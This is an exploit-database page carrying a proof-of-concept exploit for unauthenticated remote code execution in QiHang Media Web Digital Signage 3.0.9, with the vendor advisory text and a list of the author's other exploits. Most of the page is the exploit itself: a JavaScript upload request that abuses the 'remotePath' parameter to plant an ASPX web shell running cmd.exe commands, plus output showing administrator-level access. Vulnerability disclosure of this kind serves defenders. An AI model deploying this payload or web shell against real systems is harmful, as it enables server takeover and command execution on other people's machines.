Search for hundreds of thousands of exploits

"QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)"

Author

Exploit author

LiquidWorm

Platform

Exploit platform

hardware

Release date

Exploit published date

2020-08-17

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)
# Date: 2020-08-12
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.howfor.com
# Tested on: Microsoft Windows Server 2012 R2 Datacenter
# CVE : N/A

<!--

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from an unauthenticated remote code execution.
The vulnerability is caused due to lack of verification when uploading files
with QH.aspx that can be written in any location by utilizing the 'remotePath'
parameter to traverse through directories. Abusing the upload action and the
'fileToUpload' parameter, an unauthenticated attacker can exploit this to
execute system commands by uploading a malicious ASPX script.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5582
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5582.php


27.07.2020

-->


<html>
  <body>
    <script>
      function uploadShellPoC()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.1.74:8090\/QH.aspx", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"cmd.aspx\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c%@ Page Language=\"VB\" Debug=\"true\" %\x3e\r\n" + 
          "\x3c%@ import Namespace=\"system.IO\" %\x3e\r\n" + 
          "\x3c%@ import Namespace=\"System.Diagnostics\" %\x3e\r\n" + 
          "\r\n" + 
          "\x3cscript runat=\"server\"\x3e\r\n" + 
          "\r\n" + 
          "Sub RunCmd(Src As Object, E As EventArgs)\r\n" + 
          "  Dim myProcess As New Process()\r\n" + 
          "  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)\r\n" + 
          "  myProcessStartInfo.UseShellExecute = false\r\n" + 
          "  myProcessStartInfo.RedirectStandardOutput = true\r\n" + 
          "  myProcess.StartInfo = myProcessStartInfo\r\n" + 
          "  myProcessStartInfo.Arguments=xcmd.text\r\n" + 
          "  myProcess.Start()\r\n" + 
          "\r\n" + 
          "  Dim myStreamReader As StreamReader = myProcess.StandardOutput\r\n" + 
          "  Dim myString As String = myStreamReader.Readtoend()\r\n" + 
          "  myProcess.Close()\r\n" + 
          "  mystring=replace(mystring,\"\x3c\",\"<\")\r\n" + 
          "  mystring=replace(mystring,\"\x3e\",\">\")\r\n" + 
          "  result.text= vbcrlf & \"\x3cpre\x3e\" & mystring & \"\x3c/pre\x3e\"\r\n" + 
          "End Sub\r\n" + 
          "\r\n" + 
          "\x3c/script\x3e\r\n" + 
          "\r\n" + 
          "\x3chtml\x3e\r\n" + 
          "\x3cbody\x3e\r\n" + 
          "\x3cform runat=\"server\"\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Label id=\"L_p\" runat=\"server\" width=\"80px\"\x3eProgram\x3c/asp:Label\x3e\r\n" + 
          "\x3casp:TextBox id=\"xpath\" runat=\"server\" Width=\"300px\"\x3ec:\\windows\\system32\\cmd.exe\x3c/asp:TextBox\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Label id=\"L_a\" runat=\"server\" width=\"80px\"\x3eArguments\x3c/asp:Label\x3e\r\n" + 
          "\x3casp:TextBox id=\"xcmd\" runat=\"server\" Width=\"300px\" Text=\"/c net user\"\x3e/c net user\x3c/asp:TextBox\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Button id=\"Button\" onclick=\"runcmd\" runat=\"server\" Width=\"100px\" Text=\"Run\"\x3e\x3c/asp:Button\x3e\r\n" + 
          "\x3cp\x3e\x3casp:Label id=\"result\" runat=\"server\"\x3e\x3c/asp:Label\x3e\r\n" + 
          "\x3c/form\x3e\r\n" + 
          "\x3c/body\x3e\r\n" + 
          "\x3c/html\x3e\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"responderId\"\r\n" + 
          "\r\n" + 
          "ResourceNewResponder\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" + 
          "Content-Disposition: form-data; name=\"remotePath\"\r\n" + 
          "\r\n" + 
          "/opt/resources\r\n" + 
          "------WebKitFormBoundaryhbcZX7o0Hw19h3kr--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Click" onclick="uploadShellPoC();" />
    </form>
  </body>
</html>

<!--
JSON response for successful upload:
{
  "first": true,
  "second": [
    "cmd.aspx"
  ]
}

GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx
Command issued: /c whoami

Response:
robertovolare\administrator
 -->
Release DateTitleTypePlatformAuthor
2020-09-14"Rapid7 Nexpose Installer 6.6.39 - 'nexposeengine' Unquoted Service Path"localwindowsLiquidWorm
2020-08-28"Eibiz i-Media Server Digital Signage 3.8.0 - Privilege Escalation"webappshardwareLiquidWorm
2020-08-26"Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal"webappsmultipleLiquidWorm
2020-08-24"Eibiz i-Media Server Digital Signage 3.8.0 - Authentication Bypass"webappshardwareLiquidWorm
2020-08-24"Eibiz i-Media Server Digital Signage 3.8.0 - Configuration Disclosure"webappshardwareLiquidWorm
2020-08-17"QiHang Media Web Digital Signage 3.0.9 - Cleartext Credential Disclosure"webappshardwareLiquidWorm
2020-08-17"QiHang Media Web Digital Signage 3.0.9 - Remote Code Execution (Unauthenticated)"webappshardwareLiquidWorm
2020-08-17"QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure"webappshardwareLiquidWorm
2020-08-17"QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Deletion"webappshardwareLiquidWorm
2020-08-07"All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin)"webappshardwareLiquidWorm
2020-07-26"UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin)"webappshardwareLiquidWorm
2020-07-23"UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass"webappshardwareLiquidWorm
2020-06-04"Cayin Digital Signage System xPost 2.5 - Remote Command Injection"webappsmultipleLiquidWorm
2020-06-04"Cayin Content Management Server 11.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
2020-06-04"Cayin Signage Media Player 3.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-05-08"Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)"doshardwareLiquidWorm
2020-04-24"Furukawa Electric ConsciusMAP 2.8.1 - Remote Code Execution"webappsjavaLiquidWorm
2020-04-21"P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)"webappshardwareLiquidWorm
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Credential Disclosure"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Authentication Bypass"webappshardwareLiquidWorm
2019-12-30"WEMS BEMS 21.3.1 - Undocumented Backdoor Account"webappshardwareLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Authentication Bypass"webappsphpLiquidWorm
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48751/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.